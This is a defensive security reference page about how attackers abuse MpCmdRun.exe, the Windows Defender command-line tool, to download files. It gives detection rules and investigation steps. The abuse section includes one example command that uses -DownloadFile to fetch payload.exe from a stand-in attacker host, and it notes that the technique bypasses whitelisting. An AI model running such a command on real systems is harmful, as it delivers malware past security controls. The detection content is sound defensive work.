High RiskWindowsLegitimateCommonly Abused
MpCmdRun.exeSECURITY TOOLMpCmdRun.exe - Windows Defender CLI Security Analysis
MpCmdRun.exe is the **Windows Defender command-line interface**. While legitimate for scanning and management, attackers abuse it as a **LOLBin to download files** using the -DownloadFile parameter. This trusted Microsoft binary can bypass security controls while fetching malicious payloads.
Risk Summary
HIGH priority for SOC triage. MpCmdRun.exe is a legitimate Defender tool that can be abused to download files. The -DownloadFile parameter enables fetching arbitrary files from URLs. Monitor for this parameter and unusual download destinations.
Overview
What is MpCmdRun.exe?
MpCmdRun.exe is the Windows Defender command-line utility.
Legitimate Functions
Defender Operations:
- Run scans (Quick, Full, Custom)
- Update definitions
- Manage threats
- Check status
LOLBin Capability
-DownloadFile Parameter:
- Download files from URLs
- Bypass security controls
- Microsoft signed binary
Normal Behavior
Normal Behavior
Expected Process State
| Property | Expected Value |
|---|---|
| Path | C:\ProgramData\Microsoft\Windows Defender\Platform*\MpCmdRun.exe |
| Parent | cmd.exe, powershell.exe (admin) |
| User | Administrator or SYSTEM |
| Context | Defender management |
Legitimate Commands
MpCmdRun.exe -Scan -ScanType 1
MpCmdRun.exe -SignatureUpdate
MpCmdRun.exe -Restore -ListAll
Common Locations
C:\ProgramData\Microsoft\Windows Defender\Platform\*\MpCmdRun.exeC:\Program Files\Windows Defender\MpCmdRun.exeSuspicious Indicators
Legitimate vs Suspicious
LEGITIMATE
Command: MpCmdRun.exe -Scan -ScanType 1
MpCmdRun.exe -SignatureUpdate
Context: Defender management
SUSPICIOUS
Command: MpCmdRun.exe -DownloadFile -url http://... -path C:\...
Context: File download
Non-IT user
Dangerous Parameters
| Parameter | Risk | Description |
|---|---|---|
| -DownloadFile | CRITICAL | Download from URL |
| -url | CRITICAL | Source URL |
| -path | HIGH | Destination path |
Abuse Techniques
Attack Techniques
Technique #1: LOLBin File Download (T1105)
Download Malware via Defender:
MpCmdRun.exe -DownloadFile -url "http://attacker.com/payload.exe" -path "C:\Users\Public\payload.exe"
Why It Works:
- Microsoft signed binary
- Trusted security tool
- Bypasses application whitelisting
- May bypass network monitoring
Detection Guidance
Detection Strategies
Priority #1: Download Parameter Detection
Sigma Rule:
title: MpCmdRun.exe Download
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\MpCmdRun.exe'
CommandLine|contains: '-DownloadFile'
condition: selection
level: critical
Priority #2: URL Parameter
Process = "MpCmdRun.exe" AND
CommandLine CONTAINS "-url"
→ ALERT: CRITICAL - File download attempt
Remediation Steps
Protection and Remediation
Defense: Command Line Monitoring
Alert on MpCmdRun.exe with -DownloadFile.
If Compromise Suspected
- Identify downloaded file path
- Analyze downloaded content
- Check if file was executed
- Hunt for related activity
Investigation Checklist
Investigation Checklist
- Review full command line
- Check for -DownloadFile parameter
- Identify source URL
- Locate downloaded file
- Analyze file content
- Check for subsequent execution
MITRE ATT&CK Techniques
Last verified: January 18, 2026